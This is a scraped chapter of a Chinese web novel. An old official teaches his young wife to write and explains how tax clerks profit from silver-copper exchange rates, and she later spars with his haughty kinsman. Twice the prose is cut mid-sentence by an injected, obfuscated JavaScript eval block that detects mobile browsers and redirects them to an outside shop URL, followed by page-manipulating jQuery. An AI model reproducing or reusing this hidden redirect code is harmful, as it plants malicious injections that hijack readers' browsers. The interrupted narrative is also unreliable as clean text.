一树梨花压海棠，除此以外呢？除了他确实喜欢她，除了她有几分像明茹，除了他循规蹈矩一辈子如今终于做了件惊世骇俗的事，除了人们可以想到的一个老头爱上少女的庸俗又肤浅的种种原因，行鸿心底还有一个小小的、邪恶的念头，在生根发芽。 他没有子嗣，没有至亲，比较亲厚的却是母族那头的亲戚， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369970|199748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因而并无后顾之忧。他想托举仪贞，看看她能用他的这份家业，搅弄出何等风云。康氏一族里那些纨绔子弟坏了事，碍着血缘情分，他不得不去帮他们，可仪贞跟他们有几分情？他还想看看仪贞如何把他们一个个地顶回去，如何一个个地把他们料理干净了，让他们眼睁睁看着这份馋了几十年的偌大家业，落到一个村女手里！光是想想，便觉得痛快啊！若是明茹和亭哥儿知道了，也会开心罢？ 世间就是有这样的人，跟同窗好友反倒情谊深厚，最厌恶的却是那些所谓血缘至亲。 那张纸笺已写了泰半。 仪贞抬起头，把纸推过来，冲他飞了飞眉毛：“如何？” 行鸿扫了一眼，果真是越写越好，她确实很聪明。他点头道：“你外公教你握笔就教得很好，你进步也很快。再练一练，你快赶上我了。” “那你再把你的名字也教给我，我要知道你的名字怎么写。”仪贞得了好处，便想借此举讨好讨好他。 行鸿笑了笑，在纸上又写了“康行鸿”三个字，一个字一个字地指着念给她听。仪贞点了下头，又伏在案上摹写了。 他温柔地望着她，手往案上的文书卷宗上一按，正要继续办公，脑海里忽然又起了一个念头——他打算再教一教仪贞。 “仪贞，你知道外头如今一两银子兑多少钱么？” 仪贞摹着字，头也不抬：“一千三百文嘛，我爹跟我讲的。” “哦，朝廷定的是一两银子兑两千文。” “哎呀，这是常有的事。我记得几年前还有不到一千二百文的时候呢，那两年爹每次交税回来都发愁，真个亏死了。” “你知道为什么会这样么？” 仪贞撇了撇嘴，继续写字：“这我哪知道。” 行鸿的手掌抚过面前的文书：“仪贞，这就是我目今办的差使。” 仪贞这才慢慢抬起头，不解地望他：“什么意思？” “你想听么？” “我要是知道了，赶明儿不会被你咔嚓了罢？”她做了个抹脖子的动作。 行鸿失笑：“我怎么舍得？放心罢，这种事再怎么牵连，也不会牵连到你头上的。” “那我来了。”仪贞拖着椅子坐了过来。 行鸿伸手取过案头的几枚铜钱，一枚一枚摆在仪贞面前：“这是承元四年制钱，这是十四年的，这是十六年的，这是十八年的，这是二十年的，这是……” 仪贞一枚一枚看过去，最终望向他：“这是今年的，承元二十二年。” “你瞧这些铜钱有什么不同么？”他补充道，“你可以摸一摸。” 仪贞又仔细去看、去摸，还放在手里掂了掂，末了抬起头：“除了新旧，有几年的好像重一点儿。今年的颜色亮些。” “是了。今年朝廷又新开了几个铜矿，制钱也用了好料子，铜的比例比以往多了。” 仪贞笑起来：“那不是好事么。”她摸起那枚承元二十二年的铜钱，透着烛光看，“确实成色好看许多啊，真漂亮。” 行鸿看着她的侧脸，绷着声音：“所以如今外头很有些人低价敛了这些铜钱，拿去熔了做铜器，反手卖出去就是十几二十倍的利。反倒老百姓手上没什么新钱了，还要拿更多的旧钱去买那些铜器。” 仪贞的笑慢慢僵住，她转过头来，声气有点急：“怎么能这样！我们手上本来就没几个钱！” 行鸿继续道：“这还没完呢。老百姓手上钱少了，钱就越来越贵，去年一两银子还能兑一千四百文，今年可不就越兑越少了么？钱贵银贱，百姓越来越穷，倒是那些贪腐的，一个一个愈发地摆起阔了！”他说到此处，把面前的书纸往前一推，人也往后靠向大红金钱蟒纹的靠背，嗬嗬地喘气。 *注意：本章节中，田税、人头税交多少钱，跟具体数字有关的，都是我瞎诌的。各个朝代税赋是不一样的，这本架空历史，所以我瞎说了。但是缴税、贪污的道理是真实存在的，我没有瞎说。 5.姓应的不吝赐教 仪贞头一遭看他这般横眉竖眼地发怒，不由怔然，心底慢慢地咂摸着他的话，又很有些不解。 行鸿还在气头上，冷笑连连：“夺泥燕口，削铁针头，刮金佛面细搜求啊！亏这些人想得出来！做得出来！” 这句话仪贞更是听不懂了。她歪着头看他：“行鸿，你这里头的话好像有好几层意思，怎么说得这样不明白？” 行鸿这才想起来，与她谈这些是要教她的，他自家反倒先动起怒了。行鸿闷了口茶，把火气压下去，话头又重新转回去：“哪没说明白？” “钱贵银贱……还有怎么跟贪腐又扯上干系了？” 行鸿解释道：“这里头其实很简单，我一说你就明白了。朝廷定的一两银子兑二千文，可你去钱庄上换，一千三百文就能兑一两银子，同样的银子兑得铜钱少了，可不是银子贱了，铜钱贵了么？” 仪贞笑起来：“这话明白。” 行鸿继续说：“再说贪腐，这便又说到税赋上头了。我且问你，像你们家这样的人家，每年要交哪些税呢？” 仪贞脱口而出：“田税和人头税嘛。” 行鸿笑道：“小丫头，你知道得不少。” “像我这样出身的女孩，这个年纪得知道当家了。” “是了。”行鸿望向案上的文书，“田税和人头税。现拿你家作比：你家三口人，一人算四百文，三人的人头税就是一千二百文。你们家就算二十亩中等水田，每亩本色两斗，折色银就是二百文，二十亩就是四千文。这样算来，岳丈大人一年要交五千二百文的税，兑成银子，也就是要交——” 仪贞抿着嘴儿笑：“康大人，你错了。” “嗯？” “五千二百文是明面上的税，哪有那么简单？爹去缴税的时候，还要补火耗钱，额外还有各种摊派什么的，凑个整儿，算六千文，三两银子好了。” 行鸿赞道：“到底是当家太太。”他继续道，“那么你们徐家，一年要出三两税银。但是百姓手头未必都有银子的，许多时候仍是缴钱。” “这话是的，爹每次去都要背个大麻袋儿装钱呢。” 行鸿道：“收税的官员收了岳丈大人的六千文钱，第二天，带着六千文去钱庄上兑银子。现知一千三百文兑一两银，三两银就是三千九百文，太太，对么？” 仪贞如雷击灵台，整个人轰然怔住，她喃喃：“不，不对……还剩两千一百文呢……” “这就是贪腐了。” 仪贞忙抬眼看他：“可是，可是，他们怎好这样？怎好悄悄去钱庄兑银子？” 行鸿望着他：“怎么不好？哪家钱庄立规矩了，不许吏员去的么？” 仪贞愣愣的，手搭在案上，半天没动。 未久，她把这些铜钱拢到面前，一枚一枚地看，一枚一枚地摸。新旧不一，轻重不一，成色不一。 “所以，”她低声道，“我们缴上去的税钱，他们拿到外头一倒手，光一户人家就能吃二千多文！” 行鸿没有回答，只是看着她。 仪贞又低下头，手指摩挲着那枚承元二十二年制钱，喃喃道：“都已经这么穷了，他们还要刮出油水来……” 行鸿抚着下巴，他其实还想跟仪贞说：等你坐到他们的位置上了，很难不想去刮别人身上的油水。 但他到底没说，因他自问也不全然是个两袖清风的人。他从小生在那样的门户，未必就没有被赃银供养过，未必就没有得过贪腐的好处。这世上全然清廉、全然干净的官，还有没有？有，但只怕做不到京都来。 “行鸿，”仪贞忽然开口，“那你办这样的差，是不是很危险？你是不是会得罪很多人？” 行鸿只是笑道：“做官嘛，哪有不得罪人的。” 仪贞拧眉看他：“你，哎……” 行鸿却微微笑起来。她在心疼他么？是了，如今他是她的倚仗，她自然会担忧他、关心他。可这不是感情，这是她担忧自己的前程。行鸿又有些灰心。 “放心，这差使是陛下交给我的，就算得罪了人，也不打紧。” “看来陛下很倚重你。” 行鸿忽而哈哈笑起来：“不，陛下是怜我老无力。” 仪贞又不懂了，却把细眉一拧：“说了不许提那个字。” 行鸿拍了拍她的手，笑道：“亭哥儿从前给陛下做过伴读，陛下待他蛮亲近的。可惜我这个做老子的不中用，靠着亡子的余荫走到如今，陛下怜我年迈，行将致仕，才说把江南的农政、钱政丢给我办。他知道这两年江南这儿是有些问题的，要我致仕前把这钦命差使排排场场地办了，回京他也好给我加衔，到时候我就算回密州养老，也风光些了。这是圣上厚德。” “你这么说，陛下还蛮有人情味儿的。” “人情文章么，到哪都是一样。”行鸿说，“好了，夜深了，该就寝了，我一会儿也回去了。明儿你就在屋里练字，回来我教你新的，好么？” 仪贞点点头，把练字的纸折好，压在行鸿的玉螭镇纸下，方款款散去。行鸿垂眸望了会儿这张练字纸，微微一笑，旋即笔沾浓墨，写道：“砚开初试墨痕新，不羡簪花羡笔真。莫道蓬门无凤藻，寸心犹可斩荆榛。” 写罢，行鸿搁笔，又端详了一回。末两句他自觉有些露了，却又觉得正该如此。她是诚心要学的，她自家都不怕人说闲话，他写个诗还要藏着掖着么？ 他将诗笺一同压在镇纸下，吹灭了灯，才往寝居去了。 翌日行鸿照旧去衙门里，仪贞在自己院里学写字。写累了，她又想着荡秋千去，换了身清爽利落的衣裳，甫来到正院，便见应菩寿坐在里头，跟几个生面孔的男人正在说话。 应菩寿似也瞧见了她，脸一侧，淡淡瞥她一眼，而后又敛了目光。 仪贞正要问身旁的丫鬟，忽而，正堂的门被应菩寿身边的两个小厮轰地关上了。仪贞立时气得瞪起眼来，尚未发作，一个侍茶的丫鬟走了出来，笑着同仪贞道：“二爷正同几位旧友闲谈，怕太太是来荡秋千的，扰了客，所以把门关了。二爷说了，太太要玩，只管轻声些便是了，别跟昨天那样，在客人面前丢脸，就不好看了。” 仪贞的脸胀得绯红，一时却又想不出什么辩驳的话来，只好恨恨地盯了那丫鬟一眼，扭身就回自己院里去。她一口气回了屋，歪在美人靠上，眼睛直直地望着那置在洋漆小几上的瓜子黄杨盆景，心中已将应菩寿骂了千百遍。 云蝶走来问仪贞：“前头厨房在做饭，宋太太点名要了这几样菜——” 仪贞直起身子：“我跟他们夫妻一块儿吃？” 云蝶一愣，旋即笑道：“太太不想的话，我们就另开火。” 仪贞心想，若是另开火，倒显得自己故意躲他们，气势上就先输了，可瞧见应菩寿那张脸，她又实实在在地不痛快。 她道：“上次听老爷说那个什么广乐楼的席面做得好，你们收拾下，再套个车，我们一块出去吃。” 云蝶答应了一声，方掩门退下了。 仪贞坐在马车里，云苓和云蝶对坐一旁，三人和乐融融说着话。 仪贞问：“打听了么，那他们准备住多久？” 云苓道：“至多半个月，应二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375890|199748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷虽是告假来的，但也不能把天杭正经的差遣给荒了。” 仪贞撇了撇嘴：“他那么能，怎么不当个京官，还不是外放出来了。” 云苓笑道：“二爷才入仕，这几年进士就是先从地方官做起来呢。” 仪贞瞥她一眼：“我知道，我就是看不惯他那副清高傲慢的样儿。” 云苓和云蝶俱掩唇笑起来。 说话间马车拐了个弯儿，却突然停下来。 仪贞挑起车帘，只见前头并排好几匹马，慢搭搭走着，马上坐的赫然是应菩寿和他的朋友。 赶车的灯儿笑道：“二爷急么？我们太太也要出门哩。” 应菩寿转过身，见青帷马车侧旁探出徐氏那张脸，不禁微微眯了眼。他同身旁好友道：“你们先走，我与嫂嫂讲几句话。”那些人听他这么说，一径甩鞭去了。 这厢应菩寿勒转马头，缓缓骑行而来。他停在马车侧旁，居高临下地望着车窗后仪贞愠怒的脸。 “康太太是要出门么？” 仪贞道：“你管我。” “干什么去？” 仪贞拧眉望他：“要你管。” 应菩寿攥着马鞭，目向前方空旷的巷道，平声道：“你既下定决心要做康太太，便得守好康家规矩。什么地方该去，什么地方不该去；什么人该见，什么人不该见；什么话该说，什么话不该说。你需得留心仔细，任着性子胡来只会在外人跟前丢了兄长的脸面。” 仪贞已然气了个倒仰。 应菩寿却还在说：“这些时日你要出门，可喊上玉芬作伴。兄长如今是钦差，办的案子万分紧要，外头若有人找上你，要你做什么、说什么抑或是递送个什么，万莫轻易回复，但也别全都拒了，先回来问兄长。兄长若一时不在，你就遣云苓过来问玉芬和我。” 仪贞攥紧了车窗边沿，指节近乎泛白。她望着应菩寿高高在上的身影，那灰黑的影子笼罩下来，挡住她能见到的几乎所有天光。仪贞心底的火苗正一窜一窜地往上燎，可她偏偏发作不出来。应菩寿的话，并非全无道理。而况昨日她已经把人得罪透了，今儿要是再闹一场，行鸿夹在中间，为难的还是他。 故此，仪贞深吸一口气，扬起一个合宜得体的笑：“我明白了，应大人还有什么指教？” 应菩寿一时怔愣，眯着眼睛审视仪贞。 仪贞也仰着头看他，保持着笑意，并不吭声。 应菩寿错开眸子，抿唇道：“出门记得带幕离。” “我带了。” “要当大家闺秀，尽量还是少出门。” “哦。” “听说你在学字，有不懂的可以问玉芬。” “行。” “赶紧把待人接物的规矩也一并学了。” “回来我就去请人来教。” 应菩寿心里不得劲起来，仿佛他邦邦硬的拳头砸在棉花上，连个响动也没有。他觉得自己这样怪没趣儿的，若非为着兄长，他岂会给这村女提点这么多？她也配？如此想着，应菩寿也懒得理仪贞了，双手勒住缰绳，掉转马头。 仪贞看他又吃了一瘪，心里不觉畅快。见他摆出这副模样，一时又觉得厌烦。仪贞把半个身子都探出去了，伸出手，掌心对准刚转过来的健硕饱满的马屁股，重重拍了一下，她扬声道：“快走罢！走！” 那马受了一惊，颠着蹦着就往前头跑去了，把应菩寿颠得东倒西歪的，好不容易才稳住马。他气得脸色涨红，恨恨地转过头，只见不远处探出半个身子的仪贞，正笑意盈盈地望过来，声音清脆：“应大人，多谢赐教了啊！”